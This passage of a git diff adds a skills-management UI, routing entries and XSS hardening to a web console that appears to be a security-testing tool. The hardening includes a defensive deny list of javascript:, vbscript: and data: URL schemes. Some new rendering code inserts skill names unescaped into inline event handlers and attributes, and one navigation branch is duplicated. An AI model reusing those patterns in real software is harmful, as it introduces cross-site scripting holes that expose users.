||||
|
||||
.btn-icon.btn-danger:hover {
|
||||
background: rgba(220, 53, 69, 0.1);
|
||||
border-color: #dc3545;
|
||||
color: #dc3545;
|
||||
}
|
||||
|
||||
.skill-item-meta {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
flex-wrap: wrap;
|
||||
font-size: 0.8125rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.skill-meta-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
/* Skills监控页面样式 */
|
||||
.skills-monitor-controls {
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.skills-monitor-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.skill-monitor-item {
|
||||
background: var(--bg-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
padding: 16px;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.skill-monitor-item:hover {
|
||||
border-color: var(--accent-color);
|
||||
box-shadow: 0 2px 8px rgba(0, 102, 255, 0.1);
|
||||
}
|
||||
|
||||
.skill-monitor-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: flex-start;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.skill-monitor-info {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.skill-monitor-name {
|
||||
font-size: 1.125rem;
|
||||
font-weight: 600;
|
||||
color: var(--text-primary);
|
||||
margin: 0 0 8px 0;
|
||||
}
|
||||
|
||||
.skill-monitor-desc {
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-secondary);
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.skill-monitor-status {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.status-badge {
|
||||
padding: 4px 12px;
|
||||
border-radius: 12px;
|
||||
font-size: 0.75rem;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.status-success {
|
||||
background: rgba(40, 167, 69, 0.1);
|
||||
color: #28a745;
|
||||
border: 1px solid rgba(40, 167, 69, 0.3);
|
||||
}
|
||||
|
||||
.skill-monitor-meta {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
flex-wrap: wrap;
|
||||
font-size: 0.8125rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
+78
-4
@@ -860,6 +860,20 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
||||
ALLOW_DATA_ATTR: false,
|
||||
};
|
||||
|
||||
// HTML实体编码函数
|
||||
const escapeHtml = (text) => {
|
||||
if (!text) return '';
|
||||
const div = document.createElement('div');
|
||||
div.textContent = text;
|
||||
return div.innerHTML;
|
||||
};
|
||||
|
||||
// 注意:代码块内容不需要转义,因为:
|
||||
// 1. Markdown解析后,代码块会被包裹在<code>或<pre>标签中
|
||||
// 2. 浏览器不会执行<code>和<pre>标签内的HTML(它们是文本节点)
|
||||
// 3. DOMPurify会保留这些标签内的文本内容
|
||||
// 这样既能防止XSS,又能正常显示代码
|
||||
|
||||
const parseMarkdown = (raw) => {
|
||||
if (typeof marked === 'undefined') {
|
||||
return null;
|
||||
@@ -880,11 +894,47 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
||||
if (role === 'user') {
|
||||
formattedContent = escapeHtml(content).replace(/\n/g, '<br>');
|
||||
} else if (typeof DOMPurify !== 'undefined') {
|
||||
// 直接解析Markdown(代码块会被包裹在<code>/<pre>中,DOMPurify会保留其文本内容)
|
||||
let parsedContent = parseMarkdown(content);
|
||||
if (!parsedContent) {
|
||||
// 如果 Markdown 解析失败或 marked 不可用,则退回原始内容
|
||||
parsedContent = content;
|
||||
}
|
||||
|
||||
// 使用DOMPurify清理,只添加必要的URL验证钩子(DOMPurify默认会处理事件处理器等)
|
||||
if (DOMPurify.addHook) {
|
||||
// 移除之前可能存在的钩子
|
||||
try {
|
||||
DOMPurify.removeHook('uponSanitizeAttribute');
|
||||
} catch (e) {
|
||||
// 钩子不存在,忽略
|
||||
}
|
||||
|
||||
// 只验证URL属性,防止危险协议(DOMPurify默认会处理事件处理器、style等)
|
||||
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
|
||||
const attrName = data.attrName.toLowerCase();
|
||||
|
||||
// 只验证URL属性(src, href)
|
||||
if ((attrName === 'src' || attrName === 'href') && data.attrValue) {
|
||||
const value = data.attrValue.trim().toLowerCase();
|
||||
// 禁止危险协议
|
||||
if (value.startsWith('javascript:') ||
|
||||
value.startsWith('vbscript:') ||
|
||||
value.startsWith('data:text/html') ||
|
||||
value.startsWith('data:text/javascript')) {
|
||||
data.keepAttr = false;
|
||||
return;
|
||||
}
|
||||
// 对于img的src,禁止可疑的短URL(防止404和XSS)
|
||||
if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
|
||||
if (value.length <= 2 || /^[a-z]$/i.test(value)) {
|
||||
data.keepAttr = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
formattedContent = DOMPurify.sanitize(parsedContent, defaultSanitizeConfig);
|
||||
} else if (typeof marked !== 'undefined') {
|
||||
const parsedContent = parseMarkdown(content);
|
||||
@@ -899,6 +949,22 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
||||
|
||||
bubble.innerHTML = formattedContent;
|
||||
|
||||
// 最后的安全检查:只处理明显的可疑图片(防止404和XSS)
|
||||
// DOMPurify已经处理了大部分XSS向量,这里只做必要的补充
|
||||
const images = bubble.querySelectorAll('img');
|
||||
images.forEach(img => {
|
||||
const src = img.getAttribute('src');
|
||||
if (src) {
|
||||
const trimmedSrc = src.trim();
|
||||
// 只检查明显的可疑URL(短字符串、单个字符)
|
||||
if (trimmedSrc.length <= 2 || /^[a-z]$/i.test(trimmedSrc)) {
|
||||
img.remove();
|
||||
}
|
||||
} else {
|
||||
img.remove();
|
||||
}
|
||||
});
|
||||
|
||||
// 为每个表格添加独立的滚动容器
|
||||
wrapTablesInBubble(bubble);
|
||||
|
||||
@@ -1644,7 +1710,11 @@ function createConversationListItem(conversation) {
|
||||
};
|
||||
item.appendChild(deleteBtn);
|
||||
|
||||
item.onclick = () => loadConversation(conversation.id);
|
||||
item.onclick = (e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
loadConversation(conversation.id);
|
||||
};
|
||||
return item;
|
||||
}
|
||||
|
||||
@@ -3894,7 +3964,9 @@ function createConversationListItemWithMenu(conversation, isPinned) {
|
||||
};
|
||||
item.appendChild(menuBtn);
|
||||
|
||||
item.onclick = () => {
|
||||
item.onclick = (e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
if (currentGroupId) {
|
||||
exitGroupDetail();
|
||||
}
|
||||
@@ -5269,7 +5341,9 @@ async function loadGroupConversations(groupId, searchQuery = '') {
|
||||
};
|
||||
item.appendChild(menuBtn);
|
||||
|
||||
item.onclick = () => {
|
||||
item.onclick = (e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
// 切换到对话界面,但保持分组详情状态
|
||||
const groupDetailPage = document.getElementById('group-detail-page');
|
||||
const chatContainer = document.querySelector('.chat-container');
|
||||
|
||||
@@ -10,7 +10,7 @@ let knowledgePagination = {
|
||||
total: 0,
|
||||
currentCategory: ''
|
||||
};
|
||||
let searchTimeout = null; // 搜索防抖定时器
|
||||
let knowledgeSearchTimeout = null; // 搜索防抖定时器
|
||||
|
||||
// 加载知识分类
|
||||
async function loadKnowledgeCategories() {
|
||||
@@ -639,8 +639,8 @@ function handleKnowledgeSearchInput() {
|
||||
const searchTerm = searchInput?.value.trim() || '';
|
||||
|
||||
// 清除之前的定时器
|
||||
if (searchTimeout) {
|
||||
clearTimeout(searchTimeout);
|
||||
if (knowledgeSearchTimeout) {
|
||||
clearTimeout(knowledgeSearchTimeout);
|
||||
}
|
||||
|
||||
// 如果搜索框为空,立即恢复列表
|
||||
@@ -656,7 +656,7 @@ function handleKnowledgeSearchInput() {
|
||||
}
|
||||
|
||||
// 有搜索词时,延迟500ms后执行搜索(防抖)
|
||||
searchTimeout = setTimeout(() => {
|
||||
knowledgeSearchTimeout = setTimeout(() => {
|
||||
searchKnowledgeItems();
|
||||
}, 500);
|
||||
}
|
||||
|
||||
@@ -14,6 +14,11 @@ let roleUsesAllTools = false; // 标记角色是否使用所有工具(当没
|
||||
let totalEnabledToolsInMCP = 0; // 已启用的工具总数(从MCP管理中获取,从API响应中获取)
|
||||
let roleConfiguredTools = new Set(); // 角色配置的工具列表(用于确定哪些工具应该被选中)
|
||||
|
||||
// Skills相关
|
||||
let allRoleSkills = []; // 存储所有skills列表
|
||||
let roleSkillsSearchKeyword = ''; // Skills搜索关键词
|
||||
let roleSelectedSkills = new Set(); // 选中的skills集合
|
||||
|
||||
// 对角色列表进行排序:默认角色排在第一个,其他按名称排序
|
||||
function sortRoles(rolesArray) {
|
||||
const sortedRoles = [...rolesArray];
|
||||
@@ -834,6 +839,18 @@ async function showAddRoleModal() {
|
||||
toolsList.innerHTML = '';
|
||||
}
|
||||
|
||||
// 重置skills状态
|
||||
roleSelectedSkills.clear();
|
||||
roleSkillsSearchKeyword = '';
|
||||
const skillsSearchInput = document.getElementById('role-skills-search');
|
||||
if (skillsSearchInput) {
|
||||
skillsSearchInput.value = '';
|
||||
}
|
||||
const skillsClearBtn = document.getElementById('role-skills-search-clear');
|
||||
if (skillsClearBtn) {
|
||||
skillsClearBtn.style.display = 'none';
|
||||
}
|
||||
|
||||
// 加载并渲染工具列表
|
||||
await loadRoleTools(1, '');
|
||||
|
||||
@@ -845,6 +862,9 @@ async function showAddRoleModal() {
|
||||
// 确保统计信息正确更新(显示0/108)
|
||||
updateRoleToolsStats();
|
||||
|
||||
// 加载并渲染skills列表
|
||||
await loadRoleSkills();
|
||||
|
||||
modal.style.display = 'flex';
|
||||
}
|
||||
|
||||
@@ -1004,6 +1024,16 @@ async function editRole(roleName) {
|
||||
}
|
||||
}
|
||||
|
||||
// 加载并设置skills
|
||||
await loadRoleSkills();
|
||||
// 设置角色配置的skills
|
||||
const selectedSkills = role.skills || [];
|
||||
roleSelectedSkills.clear();
|
||||
selectedSkills.forEach(skill => {
|
||||
roleSelectedSkills.add(skill);
|
||||
});
|
||||
renderRoleSkills();
|
||||
|
||||
modal.style.display = 'flex';
|
||||
}
|
||||
|
||||
@@ -1227,12 +1257,16 @@ async function saveRole() {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取选中的skills
|
||||
const skills = Array.from(roleSelectedSkills);
|
||||
|
||||
const roleData = {
|
||||
name: name,
|
||||
description: description,
|
||||
icon: icon || undefined, // 如果为空字符串,则不发送该字段
|
||||
user_prompt: userPrompt,
|
||||
tools: tools, // 默认角色为空数组,表示使用所有工具
|
||||
skills: skills, // Skills列表
|
||||
enabled: enabled
|
||||
};
|
||||
const url = isEdit ? `/api/roles/${encodeURIComponent(name)}` : '/api/roles';
|
||||
@@ -1372,3 +1406,156 @@ if (typeof window !== 'undefined') {
|
||||
};
|
||||
}
|
||||
|
||||
// ==================== Skills相关函数 ====================
|
||||
|
||||
// 加载skills列表
|
||||
async function loadRoleSkills() {
|
||||
try {
|
||||
const response = await apiFetch('/api/roles/skills/list');
|
||||
if (!response.ok) {
|
||||
throw new Error('加载skills列表失败');
|
||||
}
|
||||
const data = await response.json();
|
||||
allRoleSkills = data.skills || [];
|
||||
renderRoleSkills();
|
||||
} catch (error) {
|
||||
console.error('加载skills列表失败:', error);
|
||||
allRoleSkills = [];
|
||||
const skillsList = document.getElementById('role-skills-list');
|
||||
if (skillsList) {
|
||||
skillsList.innerHTML = '<div class="skills-error">加载skills列表失败: ' + error.message + '</div>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 渲染skills列表
|
||||
function renderRoleSkills() {
|
||||
const skillsList = document.getElementById('role-skills-list');
|
||||
if (!skillsList) return;
|
||||
|
||||
// 过滤skills
|
||||
let filteredSkills = allRoleSkills;
|
||||
if (roleSkillsSearchKeyword) {
|
||||
const keyword = roleSkillsSearchKeyword.toLowerCase();
|
||||
filteredSkills = allRoleSkills.filter(skill =>
|
||||
skill.toLowerCase().includes(keyword)
|
||||
);
|
||||
}
|
||||
|
||||
if (filteredSkills.length === 0) {
|
||||
skillsList.innerHTML = '<div class="skills-empty">' +
|
||||
(roleSkillsSearchKeyword ? '没有找到匹配的skills' : '暂无可用skills') +
|
||||
'</div>';
|
||||
updateRoleSkillsStats();
|
||||
return;
|
||||
}
|
||||
|
||||
// 渲染skills列表
|
||||
skillsList.innerHTML = filteredSkills.map(skill => {
|
||||
const isSelected = roleSelectedSkills.has(skill);
|
||||
return `
|
||||
<div class="role-skill-item" data-skill="${skill}">
|
||||
<label class="checkbox-label">
|
||||
<input type="checkbox" class="modern-checkbox"
|
||||
${isSelected ? 'checked' : ''}
|
||||
onchange="toggleRoleSkill('${skill}', this.checked)" />
|
||||
<span class="checkbox-custom"></span>
|
||||
<span class="checkbox-text">${escapeHtml(skill)}</span>
|
||||
</label>
|
||||
</div>
|
||||
`;
|
||||
}).join('');
|
||||
|
||||
updateRoleSkillsStats();
|
||||
}
|
||||
|
||||
// 切换skill选中状态
|
||||
function toggleRoleSkill(skill, checked) {
|
||||
if (checked) {
|
||||
roleSelectedSkills.add(skill);
|
||||
} else {
|
||||
roleSelectedSkills.delete(skill);
|
||||
}
|
||||
updateRoleSkillsStats();
|
||||
}
|
||||
|
||||
// 全选skills
|
||||
function selectAllRoleSkills() {
|
||||
let filteredSkills = allRoleSkills;
|
||||
if (roleSkillsSearchKeyword) {
|
||||
const keyword = roleSkillsSearchKeyword.toLowerCase();
|
||||
filteredSkills = allRoleSkills.filter(skill =>
|
||||
skill.toLowerCase().includes(keyword)
|
||||
);
|
||||
}
|
||||
filteredSkills.forEach(skill => {
|
||||
roleSelectedSkills.add(skill);
|
||||
});
|
||||
renderRoleSkills();
|
||||
}
|
||||
|
||||
// 全不选skills
|
||||
function deselectAllRoleSkills() {
|
||||
let filteredSkills = allRoleSkills;
|
||||
if (roleSkillsSearchKeyword) {
|
||||
const keyword = roleSkillsSearchKeyword.toLowerCase();
|
||||
filteredSkills = allRoleSkills.filter(skill =>
|
||||
skill.toLowerCase().includes(keyword)
|
||||
);
|
||||
}
|
||||
filteredSkills.forEach(skill => {
|
||||
roleSelectedSkills.delete(skill);
|
||||
});
|
||||
renderRoleSkills();
|
||||
}
|
||||
|
||||
// 搜索skills
|
||||
function searchRoleSkills(keyword) {
|
||||
roleSkillsSearchKeyword = keyword;
|
||||
const clearBtn = document.getElementById('role-skills-search-clear');
|
||||
if (clearBtn) {
|
||||
clearBtn.style.display = keyword ? 'block' : 'none';
|
||||
}
|
||||
renderRoleSkills();
|
||||
}
|
||||
|
||||
// 清除skills搜索
|
||||
function clearRoleSkillsSearch() {
|
||||
const searchInput = document.getElementById('role-skills-search');
|
||||
if (searchInput) {
|
||||
searchInput.value = '';
|
||||
}
|
||||
roleSkillsSearchKeyword = '';
|
||||
const clearBtn = document.getElementById('role-skills-search-clear');
|
||||
if (clearBtn) {
|
||||
clearBtn.style.display = 'none';
|
||||
}
|
||||
renderRoleSkills();
|
||||
}
|
||||
|
||||
// 更新skills统计信息
|
||||
function updateRoleSkillsStats() {
|
||||
const statsEl = document.getElementById('role-skills-stats');
|
||||
if (!statsEl) return;
|
||||
|
||||
let filteredSkills = allRoleSkills;
|
||||
if (roleSkillsSearchKeyword) {
|
||||
const keyword = roleSkillsSearchKeyword.toLowerCase();
|
||||
filteredSkills = allRoleSkills.filter(skill =>
|
||||
skill.toLowerCase().includes(keyword)
|
||||
);
|
||||
}
|
||||
|
||||
const selectedCount = Array.from(roleSelectedSkills).filter(skill =>
|
||||
filteredSkills.includes(skill)
|
||||
).length;
|
||||
|
||||
statsEl.textContent = `已选择 ${selectedCount} / ${filteredSkills.length}`;
|
||||
}
|
||||
|
||||
// HTML转义函数
|
||||
function escapeHtml(text) {
|
||||
const div = document.createElement('div');
|
||||
div.textContent = text;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
+43
-2
@@ -8,7 +8,7 @@ function initRouter() {
|
||||
if (hash) {
|
||||
const hashParts = hash.split('?');
|
||||
const pageId = hashParts[0];
|
||||
if (pageId && ['chat', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'settings', 'tasks'].includes(pageId)) {
|
||||
if (pageId && ['chat', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings', 'tasks'].includes(pageId)) {
|
||||
switchPage(pageId);
|
||||
|
||||
// 如果是chat页面且带有conversation参数,加载对应对话
|
||||
@@ -94,6 +94,19 @@ function updateNavState(pageId) {
|
||||
knowledgeItem.classList.add('expanded');
|
||||
}
|
||||
|
||||
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
|
||||
if (submenuItem) {
|
||||
submenuItem.classList.add('active');
|
||||
}
|
||||
} else if (pageId === 'skills-monitor' || pageId === 'skills-management') {
|
||||
// Skills子菜单项
|
||||
const skillsItem = document.querySelector('.nav-item[data-page="skills"]');
|
||||
if (skillsItem) {
|
||||
skillsItem.classList.add('active');
|
||||
// 展开Skills子菜单
|
||||
skillsItem.classList.add('expanded');
|
||||
}
|
||||
|
||||
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
|
||||
if (submenuItem) {
|
||||
submenuItem.classList.add('active');
|
||||
@@ -107,6 +120,19 @@ function updateNavState(pageId) {
|
||||
rolesItem.classList.add('expanded');
|
||||
}
|
||||
|
||||
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
|
||||
if (submenuItem) {
|
||||
submenuItem.classList.add('active');
|
||||
}
|
||||
} else if (pageId === 'skills-monitor' || pageId === 'skills-management') {
|
||||
// Skills子菜单项
|
||||
const skillsItem = document.querySelector('.nav-item[data-page="skills"]');
|
||||
if (skillsItem) {
|
||||
skillsItem.classList.add('active');
|
||||
// 展开Skills子菜单
|
||||
skillsItem.classList.add('expanded');
|
||||
}
|
||||
|
||||
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
|
||||
if (submenuItem) {
|
||||
submenuItem.classList.add('active');
|
||||
@@ -262,6 +288,21 @@ function initPage(pageId) {
|
||||
});
|
||||
}
|
||||
break;
|
||||
case 'skills-monitor':
|
||||
// 初始化Skills状态监控页面
|
||||
if (typeof loadSkillsMonitor === 'function') {
|
||||
loadSkillsMonitor();
|
||||
}
|
||||
break;
|
||||
case 'skills-management':
|
||||
// 初始化Skills管理页面
|
||||
if (typeof initSkillsPagination === 'function') {
|
||||
initSkillsPagination();
|
||||
}
|
||||
if (typeof loadSkills === 'function') {
|
||||
loadSkills();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
// 清理其他页面的定时器
|
||||
@@ -282,7 +323,7 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
const hashParts = hash.split('?');
|
||||
const pageId = hashParts[0];
|
||||
|
||||
if (pageId && ['chat', 'tasks', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'settings'].includes(pageId)) {
|
||||
if (pageId && ['chat', 'tasks', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings'].includes(pageId)) {
|
||||
switchPage(pageId);
|
||||
|
||||
// 如果是chat页面且带有conversation参数,加载对应对话
|
||||
|
||||
@@ -0,0 +1,716 @@
|
||||
// Skills管理相关功能
|
||||
let skillsList = [];
|
||||
let currentEditingSkillName = null;
|
||||
let isSavingSkill = false; // 防止重复提交
|
||||
let skillsSearchKeyword = '';
|
||||
let skillsSearchTimeout = null; // 搜索防抖定时器
|
||||
let skillsPagination = {
|
||||
currentPage: 1,
|
||||
pageSize: 20, // 每页20条(默认值,实际从localStorage读取)
|
||||
total: 0
|
||||
};
|
||||
let skillsStats = {
|
||||
total: 0,
|
||||
totalCalls: 0,
|
||||
totalSuccess: 0,
|
||||
totalFailed: 0,
|
||||
skillsDir: '',
|
||||
stats: []
|
||||
};
|
||||
|
||||
// 获取保存的每页显示数量
|
||||
function getSkillsPageSize() {
|
||||
try {
|
||||
const saved = localStorage.getItem('skillsPageSize');
|
||||
if (saved) {
|
||||
const size = parseInt(saved);
|
||||
if ([10, 20, 50, 100].includes(size)) {
|
||||
return size;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn('无法从localStorage读取分页设置:', e);
|
||||
}
|
||||
return 20; // 默认20
|
||||
}
|
||||
|
||||
// 初始化分页设置
|
||||
function initSkillsPagination() {
|
||||
const savedPageSize = getSkillsPageSize();
|
||||
skillsPagination.pageSize = savedPageSize;
|
||||
}
|
||||
|
||||
// 加载skills列表(支持分页)
|
||||
async function loadSkills(page = 1, pageSize = null) {
|
||||
try {
|
||||
// 如果没有指定pageSize,使用保存的值或默认值
|
||||
if (pageSize === null) {
|
||||
pageSize = getSkillsPageSize();
|
||||
}
|
||||
|
||||
// 更新分页状态(确保使用正确的pageSize)
|
||||
skillsPagination.currentPage = page;
|
||||
skillsPagination.pageSize = pageSize;
|
||||
|
||||
// 清空搜索关键词(正常分页加载时)
|
||||
skillsSearchKeyword = '';
|
||||
const searchInput = document.getElementById('skills-search');
|
||||
if (searchInput) {
|
||||
searchInput.value = '';
|
||||
}
|
||||
|
||||
// 构建URL(支持分页)
|
||||
const offset = (page - 1) * pageSize;
|
||||
const url = `/api/skills?limit=${pageSize}&offset=${offset}`;
|
||||
|
||||
const response = await apiFetch(url);
|
||||
if (!response.ok) {
|
||||
throw new Error('获取skills列表失败');
|
||||
}
|
||||
const data = await response.json();
|
||||
skillsList = data.skills || [];
|
||||
skillsPagination.total = data.total || 0;
|
||||
|
||||
renderSkillsList();
|
||||
renderSkillsPagination();
|
||||
updateSkillsManagementStats();
|
||||
} catch (error) {
|
||||
console.error('加载skills列表失败:', error);
|
||||
showNotification('加载skills列表失败: ' + error.message, 'error');
|
||||
const skillsListEl = document.getElementById('skills-list');
|
||||
if (skillsListEl) {
|
||||
skillsListEl.innerHTML = '<div class="empty-state">加载失败: ' + error.message + '</div>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 渲染skills列表
|
||||
function renderSkillsList() {
|
||||
const skillsListEl = document.getElementById('skills-list');
|
||||
if (!skillsListEl) return;
|
||||
|
||||
// 后端已经完成搜索过滤,直接使用skillsList
|
||||
const filteredSkills = skillsList;
|
||||
|
||||
if (filteredSkills.length === 0) {
|
||||
skillsListEl.innerHTML = '<div class="empty-state">' +
|
||||
(skillsSearchKeyword ? '没有找到匹配的skills' : '暂无skills,点击"添加Skill"创建第一个skill') +
|
||||
'</div>';
|
||||
// 搜索时隐藏分页
|
||||
const paginationContainer = document.getElementById('skills-pagination');
|
||||
if (paginationContainer) {
|
||||
paginationContainer.innerHTML = '';
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
skillsListEl.innerHTML = filteredSkills.map(skill => {
|
||||
const fileSize = skill.file_size || 0;
|
||||
const fileSizeStr = fileSize < 1024 ? fileSize + ' B' :
|
||||
fileSize < 1024 * 1024 ? (fileSize / 1024).toFixed(2) + ' KB' :
|
||||
(fileSize / (1024 * 1024)).toFixed(2) + ' MB';
|
||||
|
||||
return `
|
||||
<div class="skill-item">
|
||||
<div class="skill-item-header">
|
||||
<div class="skill-item-info">
|
||||
<h3 class="skill-item-name">${escapeHtml(skill.name || '')}</h3>
|
||||
${skill.description ? `<p class="skill-item-desc">${escapeHtml(skill.description)}</p>` : ''}
|
||||
</div>
|
||||
<div class="skill-item-actions">
|
||||
<button class="btn-icon" onclick="viewSkill('${escapeHtml(skill.name)}')" title="查看">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"></path>
|
||||
<circle cx="12" cy="12" r="3"></circle>
|
||||
</svg>
|
||||
</button>
|
||||
<button class="btn-icon" onclick="editSkill('${escapeHtml(skill.name)}')" title="编辑">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<path d="M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7"></path>
|
||||
<path d="M18.5 2.5a2.121 2.121 0 0 1 3 3L12 15l-4 1 1-4 9.5-9.5z"></path>
|
||||
</svg>
|
||||
</button>
|
||||
<button class="btn-icon btn-danger" onclick="deleteSkill('${escapeHtml(skill.name)}')" title="删除">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<polyline points="3 6 5 6 21 6"></polyline>
|
||||
<path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"></path>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="skill-item-meta">
|
||||
<span class="skill-meta-item">路径: ${escapeHtml(skill.path || '')}</span>
|
||||
<span class="skill-meta-item">大小: ${fileSizeStr}</span>
|
||||
${skill.mod_time ? `<span class="skill-meta-item">修改时间: ${escapeHtml(skill.mod_time)}</span>` : ''}
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
}).join('');
|
||||
}
|
||||
|
||||
// 渲染分页组件(参考MCP管理页面样式)
|
||||
function renderSkillsPagination() {
|
||||
const paginationContainer = document.getElementById('skills-pagination');
|
||||
if (!paginationContainer) return;
|
||||
|
||||
const total = skillsPagination.total;
|
||||
const pageSize = skillsPagination.pageSize;
|
||||
const currentPage = skillsPagination.currentPage;
|
||||
const totalPages = Math.ceil(total / pageSize);
|
||||
|
||||
// 即使只有一页也显示分页信息(参考MCP样式)
|
||||
if (total === 0) {
|
||||
paginationContainer.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
|
||||
// 计算显示范围
|
||||
const start = total === 0 ? 0 : (currentPage - 1) * pageSize + 1;
|
||||
const end = total === 0 ? 0 : Math.min(currentPage * pageSize, total);
|
||||
|
||||
let paginationHTML = '<div class="pagination">';
|
||||
|
||||
// 左侧:显示范围信息和每页数量选择器(参考MCP样式)
|
||||
paginationHTML += `
|
||||
<div class="pagination-info">
|
||||
<span>显示 ${start}-${end} / 共 ${total} 条</span>
|
||||
<label class="pagination-page-size">
|
||||
每页显示
|
||||
<select id="skills-page-size-pagination" onchange="changeSkillsPageSize()">
|
||||
<option value="10" ${pageSize === 10 ? 'selected' : ''}>10</option>
|
||||
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
|
||||
<option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
|
||||
<option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
|
||||
</select>
|
||||
</label>
|
||||
</div>
|
||||
`;
|
||||
|
||||
// 右侧:分页按钮(参考MCP样式:首页、上一页、第X/Y页、下一页、末页)
|
||||
paginationHTML += `
|
||||
<div class="pagination-controls">
|
||||
<button class="btn-secondary" onclick="loadSkills(1, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>首页</button>
|
||||
<button class="btn-secondary" onclick="loadSkills(${currentPage - 1}, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>上一页</button>
|
||||
<span class="pagination-page">第 ${currentPage} / ${totalPages || 1} 页</span>
|
||||
<button class="btn-secondary" onclick="loadSkills(${currentPage + 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>下一页</button>
|
||||
<button class="btn-secondary" onclick="loadSkills(${totalPages || 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>末页</button>
|
||||
</div>
|
||||
`;
|
||||
|
||||
paginationHTML += '</div>';
|
||||
|
||||
paginationContainer.innerHTML = paginationHTML;
|
||||
|
||||
// 确保分页组件与列表内容区域对齐(不包括滚动条)
|
||||
function alignPaginationWidth() {
|
||||
const skillsList = document.getElementById('skills-list');
|
||||
if (skillsList && paginationContainer) {
|
||||
// 获取列表的实际内容宽度(不包括滚动条)
|
||||
const listClientWidth = skillsList.clientWidth; // 可视区域宽度(不包括滚动条)
|
||||
const listScrollHeight = skillsList.scrollHeight; // 内容总高度
|
||||
const listClientHeight = skillsList.clientHeight; // 可视区域高度
|
||||
const hasScrollbar = listScrollHeight > listClientHeight;
|
||||
|
||||
// 如果列表有垂直滚动条,分页组件应该与列表内容区域对齐(clientWidth)
|
||||
// 如果没有滚动条,使用100%宽度
|
||||
if (hasScrollbar) {
|
||||
// 分页组件应该与列表内容区域对齐,不包括滚动条
|
||||
paginationContainer.style.width = `${listClientWidth}px`;
|
||||
} else {
|
||||
// 如果没有滚动条,使用100%宽度
|
||||
paginationContainer.style.width = '100%';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 立即执行一次
|
||||
alignPaginationWidth();
|
||||
|
||||
// 监听窗口大小变化和列表内容变化
|
||||
const resizeObserver = new ResizeObserver(() => {
|
||||
alignPaginationWidth();
|
||||
});
|
||||
|
||||
const skillsList = document.getElementById('skills-list');
|
||||
if (skillsList) {
|
||||
resizeObserver.observe(skillsList);
|
||||
}
|
||||
}
|
||||
|
||||
// 改变每页显示数量
|
||||
async function changeSkillsPageSize() {
|
||||
const pageSizeSelect = document.getElementById('skills-page-size-pagination');
|
||||
